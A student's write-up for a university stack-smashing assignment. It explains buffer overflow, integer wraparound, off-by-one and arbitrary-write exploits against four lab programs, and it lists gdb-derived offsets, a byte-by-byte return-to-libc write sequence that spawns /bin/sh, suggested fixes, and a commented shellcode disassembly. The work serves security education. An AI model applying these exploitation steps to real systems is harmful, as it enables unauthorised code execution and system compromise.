Jeremy Dolinko
Security and Privacy in Computing
Assignment 1: Smashing the Stack for Fun & Credit

/* Stack Smashing */

NOTE: All the files can be made by using the Makefile. Just typing make should make all the attacks, as well as the calc program I used to see what things would be using strtoul and strtol.

--Vulnerable1--

1.) This is the most basic program which takes in an argument from the command line, and copies it into a buffer of size 200 without bounds checking.

2.) Because there is no bounds checking on the buffer copy, it is possible to input a string larger than the buffer size, which will overwrite the registers on the stack. This is how we will overwrite the registers to point to our shellcode buffer.

3.) The program I made is pretty much the same as Aleph's program from http://insecure.org/stf/smashstack.html, specifically exploit3.c. This creates a buffer of size 300, with an offset of -288 which was found from doing analysis in gdb by setting breakpoint in launch() and inputting the file without an offset and then calculating the difference to where we find the nop sled (negative since it was further down).

4.) The attack is written in atk1.c, and is compiled as part of the makefile. Run by doing:

```
/tmp/vulnerable1 `./attack1`
```

5.) To fix this vulnerability, use strncpy() instead with a maximum size of the buffer length. Also be sure your maximum size is actually a signed int based on the buffer and not the input.

--Vulnerable2--

1.) This program takes in an input defined by ####,[DATA] where #### is how much to copy in, and DATA is the data to copy into the buffer. The struct it uses is the base size for the buffer, which is of size 20, and the buffer itself is 528 of those, or 10560 bytes. The copy in the launch also tries to do error checking that it does not read in more than 528 of the bytes.

2.) vulnerable2 has a couple of interesting bits of code to note that make it function in a strange manner.

```
feed_count = strtoul(argv[1], &cursor, 10);
```

This takes in the argument and converts as much of the integer string as possible to an UNSIGNED LONG, but since it is thrown into the int feed_count, it will be stored as an integer. This means that using a large enough number (something larger than max_int) you can do a wraparound to get a negative int, which will pass the next check

```
if ((*cursor != ',') || (strlen(cursor + 1) < sizeof(struct live_feed) *
feed_count)) {//exit error}
```

The first check here means we need to have a ',' where the int ends, and we need to have the length of our input be GREATER than the size of the struct (20) * feed count, which will be wrapped to a large negative number, meaning that both of these will be (false || false) and not execute.

So, now we go into launch():

```
struct live_feed buffer[MAXIMUM_TWEETS]; //buffer size is 528 * 20 == 10560

	if (feed_count < MAXIMUM_TWEETS)
	{
		memcpy(buffer, cursor, feed_count * sizeof(struct live_feed));
	}
```

Now that our input reaches this spot, we see that our feed_count will be compared as an extremely negative integer, which is less than 528, or MAXIMUM_TWEETS. So, it will overwrite the buffer with our huge input and overwrite the instruction pointers with our address, because memcpy will treat a negative number as the unsigned representation.

From there, the shellcode executes the same as vulnerable1. Again, offsets were calculated using gdb to find the address pointed to with 0 offset, and where I found some of the nop sled. (Honestly it worked the first time with an offset guess, but the best way to do it is with gdb).

3.) Same as vulnerable1.

4.) Attack is found in atk2.c, and run in the program as
```
	/tmp/vulnerable2 `./attack2`
```

5.) To fix this vulnerability, don't use strtoul() to read in the input, as that is a unsigned long that you typecast to int. You can also do a negative check in your launch() check to make sure that you do not try reading in negative sizes.

--Vulnerable3--

1.) This program is similar to vulnerable1 as it takes in the argument, and copies it into the buffer of a fixed size. However, it does so by doing multiple function calls:
```
main calls launch
	launch calls copy_user_argument
		copy_user_argument makes buffer[192]
		copy_user_argument calls strcpyn()
			strcpyn copies string into buffer
```

2.) While this all seems safe since the only thing that it reads in is the argument, and the strcpyn will only read a certain amount of size, there's still a tiny error:

```
for (i = 0; i <= destination_length && i <= source_length; i++)
		destination[i] = source[i];
```

source_length here doesn't matter since if it is larger than 192, the first part will be false first. BUT, we have i <= destination_length. This means that if our input is large, the last call is:

```
destination[192] = source[192];
```

Since destination[] here is actually buffer[], and buffer is of size 192, this means that we are overwriting the 193rd byte in buffer! But if buffer is only size 192 what are we overwriting?

Doing some analysis in GDB and putting in breakpoints in the functions showed me that I was overwriting the saved EBP in the launch function by one byte. This means that we can control the two least significant bits of the pointer. Luckily, our buffer is large enough that it will more than likely point to somewhere in our buffer, and then read that part of our buffer and be put as the address to be executed.

This means that the exploit should be constructed slightly differently:

```
[addr.....addr|X|nop....|shl]
0             192           sizeof(buf - 1)
```

Whatever is in 192 will be the overwrite, which I used 0x04 since it seemed like it would like up correctly when the saved ebp is popped off and used (subtracts 4), and the addresses here should point into the nop sled. While I could have added in the 193 in the addr assignment, you still are going to offset, so it was just easier to do the gdb lineup to figure out the full offset, which was further down by 176 in this case, or -176.

3.) The construction of the exploit again uses Aleph's code as a base, though it is slightly edited to form the string differently. (fill with addresses, set buf[192], fill 193 on with NOP, put shellcode before the end of buf[]).

4.) The attack is written in atk3.c, and is compiled as part of the makefile. Run by doing:

```
/tmp/vulnerable3 `./attack3`
```

5.) Here, simply change the <= to < signs to make sure that you only will write 192 bytes into the buffer. That way the saved EBP will not have the last bit overwritten.

--Vulnerable 4--

1.) Well, to be honest, you do not need to care too much about the canary in this program. But, since it is there, it can be found by setting a breakpoint in launch() on the line:

```
0x080489fe <launch+449>:      xor    %gs:0x14,%eax
0x08048a05 <launch+456>:      je     0x8048a0c <launch+463>
0x08048a07 <launch+458>:      call   0x80485d4 <__stack_chk_fail@plt>
```

This xor seemed suspicious since it was putting some value in EAX before this "__stack_chk_fail@plt." It gave a value of 0xff0a0000, which corresponds to 4278845440 in decimal. I double checked this in memory by doing x/20x file_buffer and looking around there to see if I could find the buffer area between this local and our saved EBPs on the stack. Funnily enough, I found 0xff0a0000 about 84 bytes away from the beginning of the file_buffer.

Just to be sure that was the canary, I did the following while running the program:

```
r,84 //gave 00 == 00
r,85 //gave 00 == 00
r,86 //gave 10 == 0a
r,87 //gave 255 == ff
w,84,1 //now make 00 --> 01
q      //did we kill the canary?

*** stack smashing detected ***: /tmp/vulnerable4 terminated
======= Backtrace: =========
/lib/i686/cmov/libc.so.6(__fortify_fail+0x48)[0xb7f7abc8]
/lib/i686/cmov/libc.so.6(__fortify_fail+0x0)[0xb7f7ab80]
/tmp/vulnerable4[0x8048a0c]
/tmp/vulnerable4[0x8048b35]
/lib/i686/cmov/libc.so.6(__libc_start_main+0xe5)[0xb7e98455]
/tmp/vulnerable4[0x8048661]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:01 1091       /tmp/vulnerable4
08049000-0804a000 rw-p 00000000 08:01 1091       /tmp/vulnerable4
0804a000-0806b000 rw-p 0804a000 00:00 0          [heap]
b7e70000-b7e7c000 r-xp 00000000 08:01 43783      /lib/libgcc_s.so.1
b7e7c000-b7e7d000 rw-p 0000b000 08:01 43783      /lib/libgcc_s.so.1
b7e81000-b7e82000 rw-p b7e81000 00:00 0
b7e82000-b7fd7000 r-xp 00000000 08:01 43702      /lib/i686/cmov/libc-2.7.so
b7fd7000-b7fd8000 r--p 00155000 08:01 43702      /lib/i686/cmov/libc-2.7.so
b7fd8000-b7fda000 rw-p 00156000 08:01 43702      /lib/i686/cmov/libc-2.7.so
b7fda000-b7fdd000 rw-p b7fda000 00:00 0
b7fdf000-b7fe3000 rw-p b7fdf000 00:00 0
b7fe3000-b7fe4000 r-xp b7fe3000 00:00 0          [vdso]
b7fe4000-b7ffe000 r-xp 00000000 08:01 44070      /lib/ld-2.7.so
b7ffe000-b8000000 rw-p 0001a000 08:01 44070      /lib/ld-2.7.so
bffeb000-c0000000 rw-p bffeb000 00:00 0          [stack]
```

Success! Now we know that 0xff0a0000 is the canary, and it gives us a map of the whole stack of the program! That makes it a bit more helpful for us since we want to poke and prod it to do what we want.

2.) So does the value change between compilations and runs? Well, it obviously shouldn't on runs where it needs to be sure the canary value is set. However, it could be changed on compilation, but from what I've found it does not appear to change. This also does not change on a reset of the VM either. This means that the exploit that we write can work just about every time without having to redo a lot of the hex math to find the parts of code where our buffers and clib functions live.

3.) So the canary is a nice little placeholder in theory if someone is trying to straight-up overflow your local buffers to hit your saved pointers. However, in this specific program, the canary is meaningless!

The fun fact is that the user_interaction allows a user to read AND write LITERALLY ANYWHERE ON THE STACK!

But why does it allow us to do that? The answer is simply in the user_interaction:

Reading: `printf("%#2.2d\n", file_buffer[offset]);`

Writing: `file_buffer[offset] = value;`

So, we are going to read anywhere based off of the location in memory of our file_buffer. So if you analyze the program in runtime with gdb, you can find the distance to where important pointers lie, and completely ignore the canary. This is what we will do to exploit the program to point to a function we want, point to a clean exit, and point to the argument(s) we want the function to have.

In short, the canary was dead on arrival in a program where we can access any point of memory.

/* The approach and notes behind vulnerable 4 */

‘attack4_input' has 16 'A's, this is used to find the file_buffer in memory (looks like 41414141 41414141 41414141)

run gdb, and disassemble launch, try to find the line:

0x080489fe <launch+449>: xor %gs:0x14,%eax

also put a breakpoint at:

0x08048a13 <launch+470>: ret

run in gdb with attack4_input

press q to jump to the breakpoint

info r to get the eax value which is the canary
translate canary into hex (0xff0a0000 -> little endian becomes 00 00 10 255 in dec reading)

do x/20x file_buffer to try to find the file_buffer (in my case it was 0xbffff7c0)
now try to find canary by hitting enter a few times (around 0xbffff814)
do hex math to find how many away it is (0x814 - 0x7c0 = 0x56 = 84)

24 bytes afterwards will be the return address for the eip we want to overwrite, which we want to overwrite with where we want the system call address to be

(84 + 24 = 108)

find system address:

x/20x system (should get me 0xb7ebb7a0 == 183 235 183 160)

find exit address:

x/20x exit (my run found 0xb7eb0a30 == 183 235 10 48)

w,119,8find the request buffer where we will write the /bin/sh:
x/20x request_buffer (should get something like 0x08049ee0 == 8 4 158 224)

now we need to write the system address in the eip when we run (0xb7ebb7a0 == 183 235 183 160)

so quit gdb, and then run:
/tmp/vulnerable4 attack4_input
input the following to overwrite:
w,108,160 //a0
w,109,183 //b7
w,110,235 //eb
w,111,183 //b7 --overwrites return pointer to system()
w,112,48 //30
w,113,10 //0a
w,114,235 //eb
w,115,183 //b7 --exit pointer as first argument
w,116,225 //e1 --we want e1 because e0 will be the q from quitting
w,117,158 //9e
w,118,4 //04
w,119,8 //08 --overwrites second argument to point to request buffer containing q/bin/sh
q/bin/sh //get ready to profit :)

—Mystery Shellcode Disassembly & Comments—

Yes, I will drink more Ovaltine. Thanks.

```
0x08049580 <shellcode+0>:     xor    %ecx,%ecx         //clear the ecx register
0x08049582 <shellcode+2>:     mov    $0x21100f0e,%ecx  //set c to 0x21100f0e
0x08049587 <shellcode+7>:     xor    $0x21212121,%ecx  //xor sets c to 0x00312e2f == nul 1 . /
0x0804958d <shellcode+13>:    push   %ecx              //push ecx onto the stack
0x0804958e <shellcode+14>:    xor    %ecx,%ecx         //clear ecx
0x08049590 <shellcode+16>:    mov    $0x514c550e,%ecx  //put 0x514c550e on ecx
0x08049595 <shellcode+21>:    xor    $0x21212121,%ecx  //xor sets c to 0x706d742f  == p m t /
0x0804959b <shellcode+27>:    push   %ecx              //push ecx onto the stack
0x0804959c <shellcode+28>:    mov    %esp,%ebx         //put stack pointer onto ebx
0x0804959e <shellcode+30>:    xor    %eax,%eax         //clear eax
0x080495a0 <shellcode+32>:    xor    %ecx,%ecx         //clear ecx
0x080495a2 <shellcode+34>:    xor    %edx,%edx         //clear edx
0x080495a4 <shellcode+36>:    mov    $0x5,%al          //set lower a to 0x05 --> a == 0x00000005
0x080495a6 <shellcode+38>:    mov    $0x41,%cl         //set lower c to 0x41 --> c == 0x00000041
== 'A'
0x080495a8 <shellcode+40>:    mov    $0x1,%dh          //set upper d to 0x01 --> d == 0x00000100
0x080495aa <shellcode+42>:    mov    $0xc0,%dl         //set lower d to 0xc0 --> d == 0x000001c0
0x080495ac <shellcode+44>:    int    $0x80             //syscall (sys_open, /tmp/.1 , 'A', int
448)
0x080495ae <shellcode+46>:    mov    %eax,%ebx         //put eax into ebx --> ebx == 0x00000005
0x080495b0 <shellcode+48>:    xor    %ecx,%ecx         //clear ecx
0x080495b2 <shellcode+50>:    mov    $0x2b010f44,%ecx  //ecx == 0x2b010f44
0x080495b7 <shellcode+55>:    xor    $0x21212121,%ecx  //ecx == 0x0a202e65 == lf spc . e
0x080495bd <shellcode+61>:    push   %ecx              //push ecx onto the stack
0x080495be <shellcode+62>:    xor    %ecx,%ecx         //clear ecx
0x080495c0 <shellcode+64>:    mov    $0x4e49524c,%ecx  //ecx == 0x4e49524c
0x080495c5 <shellcode+69>:    xor    $0x21212121,%ecx  //ecx == 0x6f68736d == o h s m
0x080495cb <shellcode+75>:    push   %ecx              //push ecx onto stack
0x080495cc <shellcode+76>:    xor    %ecx,%ecx         //clear ecx
0x080495ce <shellcode+78>:    mov    $0x5446010d,%ecx  //set ecx
0x080495d3 <shellcode+83>:    xor    $0x21212121,%ecx  //ecx == 0x7567202c == u g spc -
0x080495d9 <shellcode+89>:    push   %ecx              //push ecx
0x080495da <shellcode+90>:    xor    %ecx,%ecx         //clear ecx
0x080495dc <shellcode+92>:    mov    $0x434e4b01,%ecx  //set ecx
0x080495e1 <shellcode+97>:    xor    $0x21212121,%ecx  //ecx == 0x626f6a20 == b o j spc
0x080495e7 <shellcode+103>:   push   %ecx              //push onto stack
0x080495e8 <shellcode+104>:   xor    %ecx,%ecx         //clear ecx
0x080495ea <shellcode+106>:   mov    $0x4442484f,%ecx  //set it
0x080495ef <shellcode+111>:   xor    $0x21212121,%ecx  //ecx == 0x6563696e == e c i n
0x080495f5 <shellcode+117>:   push   %ecx              //push onto stack
0x080495f6 <shellcode+118>:   mov    %esp,%ecx         //set sp to ecx
0x080495f8 <shellcode+120>:   xor    %eax,%eax         //clear eax
0x080495fa <shellcode+122>:   mov    $0x4,%al          //eax == 0x00000004
0x080495fc <shellcode+124>:   xor    %edx,%edx         //clear edx
0x080495fe <shellcode+126>:   mov    $0x14,%dl         //edx == 0x00000014
0x08049600 <shellcode+128>:   int    $0x80             //syscall (sys_write, our stack, 20 bytes)
writes nice job- gumshoe. [lf]
0x08049602 <shellcode+130>:   xor    %eax,%eax         //clear eax
0x08049604 <shellcode+132>:   mov    $0x6,%al          //eax == 0x00000006
0x08049606 <shellcode+134>:   xor    %ebx,%ebx         //clear ebx
0x08049608 <shellcode+136>:   xor    %eax,%eax         //clear eax
0x0804960a <shellcode+138>:   mov    $0x1,%al          //eax == 0x00000001
0x0804960c <shellcode+140>:   int    $0x80             //syscall (sys_exit, 0)
0x0804960e <shellcode+142>:   add    %al,(%eax)        //eax == 0x00000002
```